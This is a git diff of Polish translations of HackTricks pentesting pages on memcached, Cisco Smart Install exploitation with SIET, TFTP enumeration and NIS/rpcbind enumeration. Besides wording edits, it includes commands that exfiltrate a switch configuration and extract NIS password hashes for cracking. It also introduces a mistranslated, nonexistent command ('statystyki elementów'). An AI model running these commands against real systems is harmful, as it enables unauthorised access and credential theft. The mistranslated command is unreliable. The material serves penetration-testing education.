| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| get | Odczytuje wartość | `get mykey` |
|
| get | Odczytuje wartość | `get mykey` |
|
||||||
| set | Ustawia klucz bezwarunkowo | <p><code>set mykey <flags> <ttl> <size></code><br><br><p>Upewnij się, że używasz \r\n jako znaków nowej linii podczas korzystania z narzędzi wiersza poleceń Unix. Na przykład</p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
|
| set | Ustawia klucz bezwarunkowo | <p><code>set mykey <flags> <ttl> <size></code><br><br><p>Upewnij się, że używasz \r\n jako znaków nowej linii przy użyciu narzędzi wiersza poleceń Unix. Na przykład</p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
|
||||||
| add | Dodaje nowy klucz | `add newkey 0 60 5` |
|
| add | Dodaje nowy klucz | `add newkey 0 60 5` |
|
||||||
| replace | Nadpisuje istniejący klucz | `replace key 0 60 5` |
|
| replace | Nadpisuje istniejący klucz | `replace key 0 60 5` |
|
||||||
| append | Dołącza dane do istniejącego klucza | `append key 0 60 15` |
|
| append | Dołącza dane do istniejącego klucza | `append key 0 60 15` |
|
||||||
| prepend | Dodaje dane na początku istniejącego klucza | `prepend key 0 60 15` |
|
| prepend | Dodaje dane na początku istniejącego klucza | `prepend key 0 60 15` |
|
||||||
| incr | Zwiększa wartość numerycznego klucza o podaną liczbę | `incr mykey 2` |
|
| incr | Zwiększa wartość numerycznego klucza o podaną liczbę | `incr mykey 2` |
|
||||||
| decr | Zmniejsza wartość numerycznego klucza o podaną liczbę | `decr mykey 5` |
|
| decr | Zmniejsza wartość numerycznego klucza o podaną liczbę | `decr mykey 5` |
|
||||||
| delete | Usuwa istniejący klucz | `delete mykey` |
|
| delete | Usuwa istniejący klucz | `delete mykey` |
|
||||||
| flush\_all | Natychmiast unieważnia wszystkie elementy | `flush_all` |
|
| flush\_all | Natychmiast unieważnia wszystkie elementy | `flush_all` |
|
||||||
| flush\_all | Unieważnia wszystkie elementy za n sekund | `flush_all 900` |
|
| flush\_all | Unieważnia wszystkie elementy za n sekund | `flush_all 900` |
|
||||||
| stats | Wyświetla ogólne statystyki | `stats` |
|
| stats | Wyświetla ogólne statystyki | `stats` |
|
||||||
| | Wyświetla statystyki pamięci | `stats slabs` |
|
| | Wyświetla statystyki pamięci | `stats slabs` |
|
||||||
| | Wyświetla statystyki alokacji na wyższym poziomie | `stats malloc` |
|
| | Wyświetla statystyki alokacji na wyższym poziomie | `stats malloc` |
|
||||||
| | Wyświetla informacje o elementach | `stats items` |
|
| | Wyświetla informacje o elementach | `stats items` |
|
||||||
| | | `stats detail` |
|
| | | `stats detail` |
|
||||||
| | | `stats sizes` |
|
| | | `stats sizes` |
|
||||||
| | Resetuje liczniki statystyk | `stats reset` |
|
| | Resetuje liczniki statystyk | `stats reset` |
|
||||||
|
@ -54,7 +53,7 @@ Niestety opis składni nie jest zbyt czytelny, a prosta komenda pomocy wymieniaj
|
||||||
|
|
||||||
#### Statystyki ruchu <a href="#traffic-statistics" id="traffic-statistics"></a>
|
#### Statystyki ruchu <a href="#traffic-statistics" id="traffic-statistics"></a>
|
||||||
|
|
||||||
Możesz zapytać o bieżące statystyki ruchu za pomocą polecenia
|
Możesz zapytać o bieżące statystyki ruchu, używając polecenia
|
||||||
```
|
```
|
||||||
stats
|
stats
|
||||||
```
|
```
|
||||||
|
@ -113,7 +112,7 @@ STAT active_slabs 3
|
||||||
STAT total_malloced 3145436
|
STAT total_malloced 3145436
|
||||||
END
|
END
|
||||||
```
|
```
|
||||||
Jeśli nie jesteś pewien, czy masz wystarczająco pamięci dla swojej instancji memcached, zawsze zwracaj uwagę na liczniki "evictions" podane przez polecenie "stats". Jeśli masz wystarczająco pamięci dla instancji, licznik "evictions" powinien wynosić 0 lub przynajmniej nie wzrastać.
|
Jeśli nie jesteś pewien, czy masz wystarczająco pamięci dla swojego egzemplarza memcached, zawsze zwracaj uwagę na liczniki "evictions" podane przez polecenie "stats". Jeśli masz wystarczająco pamięci dla egzemplarza, licznik "evictions" powinien wynosić 0 lub przynajmniej nie wzrastać.
|
||||||
|
|
||||||
#### Które klucze są używane? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
|
#### Które klucze są używane? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
|
||||||
|
|
||||||
|
@ -121,9 +120,17 @@ Nie ma wbudowanej funkcji do bezpośredniego określenia bieżącego zestawu klu
|
||||||
```
|
```
|
||||||
stats items
|
stats items
|
||||||
```
|
```
|
||||||
### Command to determine how many keys do exist
|
### English:
|
||||||
|
|
||||||
To polecenie pozwala określić, ile kluczy istnieje.
|
```
|
||||||
|
**stats items**
|
||||||
|
```
|
||||||
|
|
||||||
|
### Polish:
|
||||||
|
|
||||||
|
```
|
||||||
|
**statystyki elementów**
|
||||||
|
```
|
||||||
```
|
```
|
||||||
stats items
|
stats items
|
||||||
STAT items:1:number 220
|
STAT items:1:number 220
|
||||||
|
@ -136,7 +143,7 @@ END
|
||||||
To przynajmniej pomaga zobaczyć, czy jakiekolwiek klucze są używane. Aby wypisać nazwy kluczy z skryptu PHP, który już ma dostęp do memcache, można użyć kodu PHP z [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
|
To przynajmniej pomaga zobaczyć, czy jakiekolwiek klucze są używane. Aby wypisać nazwy kluczy z skryptu PHP, który już ma dostęp do memcache, można użyć kodu PHP z [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
|
@ -4,7 +4,7 @@
|
||||||
|
|
||||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -12,7 +12,7 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -26,7 +26,7 @@
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
4786/tcp open smart-install
|
4786/tcp open smart-install
|
||||||
```
|
```
|
||||||
## **Narzędzie do Wykorzystania Smart Install**
|
## **Narzędzie do eksploatacji Smart Install**
|
||||||
|
|
||||||
**W 2018 roku znaleziono krytyczną podatność, CVE-2018–0171, w tym protokole. Poziom zagrożenia wynosi 9.8 w skali CVSS.**
|
**W 2018 roku znaleziono krytyczną podatność, CVE-2018–0171, w tym protokole. Poziom zagrożenia wynosi 9.8 w skali CVSS.**
|
||||||
|
|
||||||
|
@ -38,9 +38,9 @@ PORT STATE SERVICE
|
||||||
|
|
||||||
**[**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** został opracowany do wykorzystania tej podatności, umożliwia nadużycie Cisco Smart Install. W tym artykule pokażę Ci, jak możesz odczytać prawidłowy plik konfiguracyjny sprzętu sieciowego. Konfiguracja eksfiltracji może być cenna dla pentestera, ponieważ pozwoli dowiedzieć się o unikalnych cechach sieci. To ułatwi życie i pozwoli znaleźć nowe wektory ataku.
|
**[**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** został opracowany do wykorzystania tej podatności, umożliwia nadużycie Cisco Smart Install. W tym artykule pokażę Ci, jak możesz odczytać prawidłowy plik konfiguracyjny sprzętu sieciowego. Konfiguracja eksfiltracji może być cenna dla pentestera, ponieważ pozwoli dowiedzieć się o unikalnych cechach sieci. To ułatwi życie i pozwoli znaleźć nowe wektory ataku.
|
||||||
|
|
||||||
**Urządzeniem docelowym będzie "aktywny" przełącznik Cisco Catalyst 2960. Wirtualne obrazy nie posiadają Cisco Smart Install, więc można ćwiczyć tylko na rzeczywistym sprzęcie.**
|
**Urządzeniem docelowym będzie "żywy" przełącznik Cisco Catalyst 2960. Wirtualne obrazy nie posiadają Cisco Smart Install, więc można ćwiczyć tylko na rzeczywistym sprzęcie.**
|
||||||
|
|
||||||
Adres docelowego przełącznika to **10.10.100.10, a CSI jest aktywne.** Załaduj SIET i rozpocznij atak. **Argument -g** oznacza eksfiltrację konfiguracji z urządzenia, **argument -i** pozwala ustawić adres IP podatnego celu.
|
Adresem docelowego przełącznika jest **10.10.100.10 i CSI jest aktywne.** Wczytaj SIET i rozpocznij atak. **Argument -g** oznacza eksfiltrację konfiguracji z urządzenia, **argument -i** pozwala ustawić adres IP podatnego celu.
|
||||||
```
|
```
|
||||||
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
|
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
|
||||||
```
|
```
|
||||||
|
@ -51,7 +51,7 @@ Konfiguracja przełącznika **10.10.100.10** znajdzie się w folderze **tftp/**
|
||||||
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -59,7 +59,7 @@ Konfiguracja przełącznika **10.10.100.10** znajdzie się w folderze **tftp/**
|
||||||
|
|
||||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
|
@ -4,7 +4,7 @@
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
@ -12,7 +12,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -28,9 +28,9 @@ Inne sposoby wsparcia HackTricks:
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
69/udp open tftp script-set
|
69/udp open tftp script-set
|
||||||
```
|
```
|
||||||
# Wyliczenie
|
# Wyliczanie
|
||||||
|
|
||||||
TFTP nie zapewnia listy katalogów, więc skrypt `tftp-enum` z `nmap` spróbuje przeprowadzić atak siłowy na domyślne ścieżki.
|
TFTP nie zapewnia listy katalogów, więc skrypt `tftp-enum` z `nmap` będzie próbował siłowo odgadnąć domyślne ścieżki.
|
||||||
```bash
|
```bash
|
||||||
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
||||||
```
|
```
|
||||||
|
@ -52,7 +52,7 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
||||||
* `port:69`
|
* `port:69`
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -63,10 +63,10 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,19 +2,19 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Zacznij od zera i zostań ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -33,13 +33,18 @@ PORT STATE SERVICE
|
||||||
rpcinfo irked.htb
|
rpcinfo irked.htb
|
||||||
nmap -sSUC -p111 192.168.10.1
|
nmap -sSUC -p111 192.168.10.1
|
||||||
```
|
```
|
||||||
|
```markdown
|
||||||
|
Czasami nie dostarcza żadnych informacji, w innych przypadkach otrzymasz coś takiego:
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (550).png>)
|
||||||
|
|
||||||
### Shodan
|
### Shodan
|
||||||
|
|
||||||
* `port:111 portmap`
|
* `port:111 portmap`
|
||||||
|
|
||||||
## RPCBind + NFS
|
## RPCBind + NFS
|
||||||
|
|
||||||
Jeśli znajdziesz usługę NFS, prawdopodobnie będziesz mógł wyświetlać i pobierać (a być może także przesyłać) pliki:
|
Jeśli znajdziesz usługę NFS, prawdopodobnie będziesz mógł wyświetlać i pobierać (a być może przesyłać) pliki:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (869).png>)
|
![](<../.gitbook/assets/image (869).png>)
|
||||||
|
|
||||||
|
@ -47,13 +52,14 @@ Przeczytaj [2049 - Testowanie penetracyjne usługi NFS](nfs-service-pentesting.m
|
||||||
|
|
||||||
## NIS
|
## NIS
|
||||||
|
|
||||||
Eksploracja podatności **NIS** obejmuje dwuetapowy proces, zaczynając od zidentyfikowania usługi `ypbind`. Kamieniem węgielnym tej eksploracji jest odkrycie **nazwy domeny NIS**, bez której postęp zostaje zatrzymany.
|
Eksploracja podatności **NIS** obejmuje dwuetapowy proces, rozpoczynając od zidentyfikowania usługi `ypbind`. Kamieniem węgielnym tej eksploracji jest odkrycie **nazwy domeny NIS**, bez której postęp zostaje zatrzymany.
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (856).png>)
|
![](<../.gitbook/assets/image (856).png>)
|
||||||
|
|
||||||
Podróż eksploracyjna rozpoczyna się od zainstalowania niezbędnych pakietów (`apt-get install nis`). Kolejnym krokiem jest użycie `ypwhich` do potwierdzenia obecności serwera NIS poprzez pingowanie go z nazwą domeny i adresem IP serwera, upewniając się, że te elementy są zanonimizowane dla bezpieczeństwa.
|
Podróż eksploracyjna rozpoczyna się od zainstalowania niezbędnych pakietów (`apt-get install nis`). Kolejnym krokiem jest użycie `ypwhich` do potwierdzenia obecności serwera NIS poprzez pingowanie go nazwą domeny i adresem IP serwera, upewniając się, że te elementy są zanonimizowane ze względów bezpieczeństwa.
|
||||||
|
|
||||||
Ostateczny i kluczowy krok polega na użyciu polecenia `ypcat` do wydobycia wrażliwych danych, w szczególności zaszyfrowanych haseł użytkowników. Te hashe, raz złamane za pomocą narzędzi takich jak **John the Ripper**, ujawniają wgląd w dostęp do systemu i uprawnienia.
|
Ostateczny i kluczowy krok polega na użyciu polecenia `ypcat` do wydobycia wrażliwych danych, w szczególności zaszyfrowanych haseł użytkowników. Te hashe, raz złamane za pomocą narzędzi takich jak **John the Ripper**, ujawniają wgląd w dostęp do systemu i uprawnienia.
|
||||||
|
```
|
||||||
```bash
|
```bash
|
||||||
# Install NIS tools
|
# Install NIS tools
|
||||||
apt-get install nis
|
apt-get install nis
|
||||||
|
@ -64,7 +70,7 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
||||||
```
|
```
|
||||||
### Pliki NIF
|
### Pliki NIF
|
||||||
|
|
||||||
| **Plik główny** | **Mapy** | **Notatki** |
|
| **Plik główny** | **Mapa(y)** | **Notatki** |
|
||||||
| ---------------- | --------------------------- | --------------------------------- |
|
| ---------------- | --------------------------- | --------------------------------- |
|
||||||
| /etc/hosts | hosts.byname, hosts.byaddr | Zawiera nazwy hostów i szczegóły IP |
|
| /etc/hosts | hosts.byname, hosts.byaddr | Zawiera nazwy hostów i szczegóły IP |
|
||||||
| /etc/passwd | passwd.byname, passwd.byuid | Plik hasła użytkownika NIS |
|
| /etc/passwd | passwd.byname, passwd.byuid | Plik hasła użytkownika NIS |
|
||||||
|
@ -77,11 +83,11 @@ Jeśli znajdziesz usługę **rusersd** wymienioną w ten sposób:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (1038).png>)
|
![](<../.gitbook/assets/image (1038).png>)
|
||||||
|
|
||||||
Możesz wyliczyć użytkowników na maszynie. Aby dowiedzieć się jak, przeczytaj [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md).
|
Możesz wyliczyć użytkowników na maszynie. Aby dowiedzieć się jak, przeczytaj [1026 - Testowanie penetracyjne Rsusersd](1026-pentesting-rusersd.md).
|
||||||
|
|
||||||
## Ominięcie zablokowanego portu Portmapper
|
## Ominięcie zablokowanego portu Portmapper
|
||||||
|
|
||||||
Podczas przeprowadzania skanu **nmap** i odkrywania otwartych portów NFS, gdzie port 111 jest zablokowany, bezpośrednie wykorzystanie tych portów nie jest wykonalne. Jednakże, poprzez **symulowanie lokalnej usługi portmappera i tworzenie tunelu z Twojego urządzenia** do celu, eksploatacja staje się możliwa przy użyciu standardowych narzędzi. Ta technika pozwala ominąć zablokowany stan portu 111, umożliwiając dostęp do usług NFS. Aby uzyskać szczegółowe wskazówki dotyczące tej metody, zapoznaj się z artykułem dostępnym pod [tym linkiem](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
|
Podczas przeprowadzania skanu **nmap** i odkrywania otwartych portów NFS z portem 111 będącym zablokowanym, bezpośrednie wykorzystanie tych portów nie jest wykonalne. Jednakże, poprzez **symulowanie usługi portmapper lokalnie i tworzenie tunelu z Twojego urządzenia** do celu, eksploatacja staje się możliwa przy użyciu standardowych narzędzi. Ta technika pozwala ominąć zablokowany stan portu 111, umożliwiając dostęp do usług NFS. Aby uzyskać szczegółowe wskazówki dotyczące tej metody, zapoznaj się z artykułem dostępnym pod [tym linkiem](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
|
@ -91,7 +97,7 @@ Podczas przeprowadzania skanu **nmap** i odkrywania otwartych portów NFS, gdzie
|
||||||
|
|
||||||
* Praktykuj te techniki na [**maszynie HTB Irked**](https://app.hackthebox.com/machines/Irked).
|
* Praktykuj te techniki na [**maszynie HTB Irked**](https://app.hackthebox.com/machines/Irked).
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
